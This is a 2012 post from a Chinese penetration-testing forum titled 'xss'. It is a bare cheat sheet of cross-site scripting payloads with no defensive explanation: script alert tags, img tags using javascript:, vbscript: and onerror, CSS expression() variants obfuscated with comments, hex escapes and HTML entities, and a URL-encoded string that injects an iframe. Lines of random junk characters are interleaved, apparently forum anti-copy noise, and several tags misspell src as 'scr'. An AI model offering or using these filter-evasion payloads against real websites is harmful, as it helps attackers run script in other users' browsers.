中国网络渗透测试联盟
标题:
xss
[打印本页]
作者:
admin
时间:
2012-9-15 14:09
标题:
xss
<script>alert("跨站")</script> (最常用）
' ^! r( l( z, Y- {* {$ D- @0 O2 X# s
<img scr=javascript:alert("跨站")></img>
; @, l$ X# `! @ |# b# V# e
<img scr="javascript: alert(/跨站/)></img>
' z9 L0 t' w5 D& e$ k9 d. K* x
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
4 }8 U3 [6 J% `% j; v! i! W! j
<img scr="#" onerror=alert(/跨站/)></img>
" a* a( s& g) T0 A: Y
<img scr="#" style="xss:expression(alert(/xss/));"></img>
! Q" w0 x5 Q$ H H+ t6 F8 F1 {
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）
* Q. x1 m0 g4 x, \7 }; k l9 q
<img src=vbscript:msgbox ("xss")></img>
, Z& ^6 D# Y$ @/ a8 r) M
<style> input {left:expression (alert('xss'))}</style>
. { a# A1 i$ O
<div style={left:expression (alert('xss'))}></div>
( S( w2 Q; {: \8 @6 L4 f
<div style={left:exp/* */ression (alert('xss'))}></div>
6 q7 |; ?$ R2 g% Y- h2 L! x
<div style={left:\0065\0078ression (alert('xss'))}></div>
* K0 d! G* J$ J
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
# r4 r# O" `- W X
unicode <div style="{left:expRessioN (alert('xss'))}">
# }$ f: R) F6 W8 @
' j6 K6 E9 ^! J+ v3 T9 s6 y8 V
"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
# w9 v# h L7 j) p
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2